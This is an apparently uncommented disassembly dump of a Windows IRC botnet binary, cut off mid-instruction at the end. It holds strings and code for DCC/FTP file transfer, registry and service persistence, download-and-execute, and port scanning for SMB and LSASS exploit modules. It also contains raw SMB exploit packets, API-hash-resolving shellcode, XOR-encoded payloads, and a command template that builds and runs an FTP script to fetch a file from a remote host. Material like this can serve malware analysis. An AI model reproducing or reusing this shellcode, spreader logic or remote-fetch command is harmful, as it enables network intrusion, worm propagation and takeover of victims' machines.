sub_40C4E0+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o dd 0 asc_444AD4: ; DATA XREF: sub_40CC90+113o ; sub_4201F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o align 4 aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o ; sub_40F060+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo align 10h dd 0 asc_444C54 db ' :',0 ; DATA XREF: sub_410030+E2Bo ; sub_410030+1118o ... align 4 asc_444C58: ; DATA XREF: sub_410030+CACo ; sub_410030+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o ; sub_410030:loc_410C87o aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo ; sub_410030:loc_410C66o asc_444C64: ; DATA XREF: sub_410030+871o ; sub_410030:loc_410CA8o ... unicode 0, <:>,0 a@: ; DATA XREF: sub_410030+7CCo ; sub_410030+D2Do ... unicode 0, <@>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do ; sub_410030+732o ... align 4 dd 0 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 8 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o ; sub_412780+91o ... align 8 aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o align 4 aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o ; sub_426070+12Do ... align 10h aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo ; sub_412A40+8Fo align 10h aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo align 4 aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o align 4 a_ db '. ',0 ; DATA XREF: sub_412780+CAo ; sub_412780+E5o align 4 aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo align 4 aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o align 4 aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao align 4 asc_444D08: ; DATA XREF: ___:loc_412F33o dw 3Ch unicode 0, <>,0 asc_444D0C: ; DATA XREF: ___:loc_412F1Co dw 3Eh unicode 0, <>,0 asc_444D10 db '==',0 ; DATA XREF: ___:loc_412F05o align 4 asc_444D14 db '!=',0 ; DATA XREF: ___:00412EF1o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o align 10h aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o align 10h aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o ; sub_4193C0+29Bo align 4 aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o align 4 aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o dd 0 off_444D54 dd offset dword_504354 ; DATA XREF: sub_4193C0+140o ; ___:0042C5F2o ... dword_444D58 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo dword_444D64 dd 652Dh dword_444D68 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o align 10h dd 0 aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo align 4 byte_444DA4 db 1 ; DATA XREF: sub_41A390r align 4 dword_444DA8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_444DF4: ; DATA XREF: ___:00421859o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_444E08 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54 dd 63257325h, 0 ; sub_41F960+E5o dword_444E5C dd 72h dword_444E60 dd 30h ; sub_424920+327o dword_444E64 dd 3039h dword_444E68 dd 383631h dword_444E6C dd 323931h dword_444E70 dd 3631h dword_444E74 dd 323731h dword_444E78 dd 3031h off_444E7C dd offset dword_5C005C ; DATA XREF: ___:0041C217r ; ___:0041C387r word_444E80 dw 0 ; DATA XREF: ___:0041C221r ; ___:0041C391r align 4 off_444E84 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r ; ___:0041C356r off_444E88 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr ; ___:0041C35Br dword_444E8C dd 24h ; ___:0041C37Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o align 8 asc_444EC8 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o ; ___:0041FD87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo dd 0 dword_444FCC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC dd 6469706Bh, 7325203Ah, 0dword_444FE8 dd 203A736Bh, 7325hdword_444FF0 dd 202E6425h, 7325202Fh, 0dword_444FFC dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o ; sub_41F030+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o ; sub_41F030+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41F030+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o ; sub_41F030+51Ao align 4 asc_445078: ; DATA XREF: sub_41F030+2EFo ; sub_41F030+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o ; sub_41F030+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o ; sub_41F030+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o ; sub_41F030+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o ; sub_41F030+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o ; sub_420630+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo ; sub_4208E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o ; sub_4208E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o ; sub_420630+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo align 4 off_4452F4 dd offset word_616C4E ; DATA XREF: sub_4208E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo align 4 off_44530C dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o ; sub_4208E0:loc_420B6Bo align 10h asc_4453E0: ; DATA XREF: sub_420F10:loc_420FCFo ; sub_420F10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o ; sub_420F10:loc_42117Eo ... aHttp db 'http',0 ; DATA XREF: sub_420F10+84o ; sub_420F10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_445418 dd 1BDh ; sub_422B40+310o ... off_44541C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr dword_445420 dd 0 ; sub_4236F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401820h, 0 dd 1, 0 aNet445 db 'net445',0 align 10h dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 402199h, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401DCAh, 0 dd 1, 1Fh dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422B40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422B40+747o off_4455E0 dd offset dword_612D20 ; DATA XREF: sub_422B40+737o ; sub_422B40+7A3o ... dword_4455E4 dd 722D20h ; sub_422B40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do align 4 dd 0 dword_4456DC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo ; ___:off_447670o align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423DD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004242B7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424206o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042414Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo align 10h dword_4458A0 dd 10FF8h, 0 dword_4458A8 dd 10FF8h dword_4458AC dd 7FFDF020h, 0 dword_4458B4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44593C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44596C dd 0 dword_445970 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_445978 proc near ; DATA XREF: sub_425100+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_445A74 push dword ptr [esi] push 63D61209h call sub_445A8A mov [esi+8], eax call sub_445A3D push dword ptr [esi+4] push 0CA2BD06Bh call sub_445A8A mov [esi+0Ch], eax call sub_4459EF push dword ptr [esi+4] push 4C0297FAh call sub_445A8A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_445978 endp ; =============== S U B R O U T I N E ======================================= sub_4459EF proc near ; CODE XREF: sub_445978+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_445A18 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4459EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A18 proc near ; CODE XREF: sub_4459EF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_445A27: ; CODE XREF: sub_445A18+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_445A34 inc ebx jmp short loc_445A27 ; --------------------------------------------------------------------------- loc_445A34: ; CODE XREF: sub_445A18+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_445A18 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A3D proc near ; CODE XREF: sub_445978+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_445A55: ; CODE XREF: sub_445A3D+1Ej cmp [ecx], ebx jz short loc_445A5D mov ecx, [ecx] jmp short loc_445A55 ; --------------------------------------------------------------------------- loc_445A5D: ; CODE XREF: sub_445A3D+1Aj mov edx, edi loc_445A5F: ; CODE XREF: sub_445A3D+2Aj cmp [edx+4], ebx jz short loc_445A69 mov edx, [edx+4] jmp short loc_445A5F ; --------------------------------------------------------------------------- loc_445A69: ; CODE XREF: sub_445A3D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_445A3D endp ; =============== S U B R O U T I N E ======================================= sub_445A74 proc near ; CODE XREF: sub_445978+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_445A74 endp ; =============== S U B R O U T I N E ======================================= sub_445A8A proc near ; CODE XREF: sub_445978+16p ; sub_445978+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_445AA0: ; CODE XREF: sub_445A8A+33j jecxz short loc_445ADA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_445AAD: ; CODE XREF: sub_445A8A+2Dj lodsb cmp al, ah jz short loc_445AB9 ror edi, 0Dh add edi, eax jmp short loc_445AAD ; --------------------------------------------------------------------------- loc_445AB9: ; CODE XREF: sub_445A8A+26j cmp edi, [esp+20h+arg_0] jnz short loc_445AA0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_445ADA: ; CODE XREF: sub_445A8A:loc_445AA0j ; sub_445A8A:loc_445ADAj jmp short loc_445ADA sub_445A8A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_445AE0 proc near ; DATA XREF: sub_425100+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_445B32 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_445AFD: ; CODE XREF: sub_445AE0+38j jecxz short loc_445B2D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_445B08: ; CODE XREF: sub_445AE0+32j lodsb test al, al jz short loc_445B14 ror edx, 0Dh add edx, eax jmp short loc_445B08 ; --------------------------------------------------------------------------- loc_445B14: ; CODE XREF: sub_445AE0+2Bj cmp edx, [esp+arg_0] jnz short loc_445AFD mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_445B2D: ; CODE XREF: sub_445AE0:loc_445AFDj mov [esp+arg_0], ebx retn sub_445AE0 endp ; =============== S U B R O U T I N E ======================================= sub_445B32 proc near ; CODE XREF: sub_445AE0+7p ; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_445B4B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_445B56 ; --------------------------------------------------------------------------- loc_445B4B: ; CODE XREF: sub_445B32+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_445B56: ; CODE XREF: sub_445B32+14j pop edi xor esi, esi pusha push esi jmp short loc_445B6A sub_445B32 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445B5D proc near ; CODE XREF: sub_445B32:loc_445B6Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_445B5D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B32 loc_445B6A: ; CODE XREF: sub_445B32+29j call sub_445B5D ; END OF FUNCTION CHUNK FOR sub_445B32 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_445C04 dd 23h dword_445C08 dd 60h dword_445C0C dd 62B0606h, 2050501h, 0A0hdword_445C18 dd 0A1h dword_445C1C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do align 4 loc_445C28: ; DATA XREF: sub_424920+100o jmp short near ptr dword_445C30 ; --------------------------------------------------------------------------- align 10h dword_445C30 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425100+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- jmp short loc_445CEA ; =============== S U B R O U T I N E ======================================= sub_445CDA proc far ; CODE XREF: sub_445CDA:loc_445CEAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_445CE2: ; CODE XREF: sub_445CDA+Cj xor byte ptr [ebx+ecx], 99h loop loc_445CE2 jmp short loc_445CEF ; --------------------------------------------------------------------------- loc_445CEA: ; CODE XREF: ___:00445CD8j call near ptr sub_445CDA loc_445CEF: ; CODE XREF: sub_445CDA+Ej jo short loc_445D53 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445D71 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_445D53: ; CODE XREF: sub_445CDA:loc_445CEFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445D71: ; CODE XREF: sub_445CDA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_445CDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_445E18: ; DATA XREF: sub_4257F0+12Bo ; sub_4257F0+135o ... jmp short loc_445E2A ; =============== S U B R O U T I N E ======================================= sub_445E1A proc near ; CODE XREF: sub_445E1A:loc_445E2Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_445E22: ; CODE XREF: sub_445E1A+Cj xor byte ptr [edx+ecx], 99h loop loc_445E22 jmp short loc_445E2F ; --------------------------------------------------------------------------- loc_445E2A: ; CODE XREF: ___:loc_445E18j call 